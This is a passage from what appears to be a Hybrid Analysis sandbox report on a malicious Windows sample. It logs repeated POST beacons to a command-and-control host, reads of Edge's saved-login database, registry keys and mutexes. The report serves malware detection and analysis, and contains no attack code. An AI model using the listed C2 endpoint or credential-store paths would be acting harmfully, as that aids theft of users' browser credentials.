Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=7246&key=dab6dd2fa1b0501f9b475ec4ba6dcdf2","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=7246&key=dab6dd2fa1b0501f9b475ec4ba6dcdf2 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=7248&key=ebb30c273720bd10009f20d8496d9edb","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=7248&key=ebb30c273720bd10009f20d8496d9edb HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=7250&key=11e432f47f44fbd67c58427b1e28bf39","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=7250&key=11e432f47f44fbd67c58427b1e28bf39 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=7252&key=78cde73a5b841ea1cf5d605b9924e167","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=7252&key=78cde73a5b841ea1cf5d605b9924e167 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}],"processes":[{"pid":6900,"ppid":0,"name":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.exe","command_line":"","sha256":"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57","normalized_path":"C:\\ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.exe","uid":"00000000-00006900","icon":"$5b"}],"all_imported_dlls":["cfgmgr32.dll","bcryptprimitives.dll","profapi.dll","oleaut32.dll","winhttp.dll","winnsi.dll","dnsapi.dll","msvcrt.dll","rpcrt4.dll","combase.dll","cryptsp.dll","msasn1.dll","crypt32.dll","gdi32.dll","ole32.dll","msvcp_win.dll","powrprof.dll","IPHLPAPI.DLL","imagehlp.dll","rsaenh.dll","iertutil.dll","mswsock.dll","msIso.dll","win32u.dll","gdi32full.dll","schannel.dll","kernel.appcore.dll","gpapi.dll","advapi32.dll","shlwapi.dll","ncrypt.dll","sechost.dll","shell32.dll","slc.dll","VxSSL64.dll","ws2_32.dll","rasadhlp.dll","mskeyprotect.dll","cryptnet.dll","comctl32.dll","wininet.dll","FWPUCLNT.DLL","windows.storage.dll","urlmon.dll","ntasn1.dll","dhcpcsvc6.dll","cryptbase.dll","bcrypt.dll","webio.dll","ucrtbase.dll","apphelp.dll","fltLib.dll","sspicli.dll","ncryptsslp.dll","dhcpcsvc.dll","sppc.dll","dpx.dll","OnDemandConnRouteHelper.dll","dpapi.dll","user32.dll","ntdll.dll","KernelBase.dll","SHCore.dll","imm32.dll","nsi.dll","wintrust.dll","kernel32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Login Data111","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"ba6adc77bd6cd755b7b3704fedfbb6a0","sha256":"4714a2a29102e49b6c8aa2b599ba16a7526ec1574d50d0bc752695c8a7be5dfe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"imagd_1_.jpg","sha256":"6597769607c0143b7201f47ca1a73fc28cf2e063416b9006699065354282c6fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\ba6adc77bd6cd755b7b3704fedfbb6a0","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Local\\SM0:6900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"SM0:6900:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6900:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64fa01a0e2c493983d0a6cc9"}]}]}},"report_ids":{"sandbox_job_ids":["64fa01a0e2c493983d0a6cc9"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Sample ba6576e84299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ba6576e84299…. Threat score 100/100. 0/28 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample ba6576e84299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ba6576e84299…. Threat score 100/100. 0/28 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample ba6576e84299… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ba6576e84299…. Threat score 100/100. 0/28 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5c","11",{}]]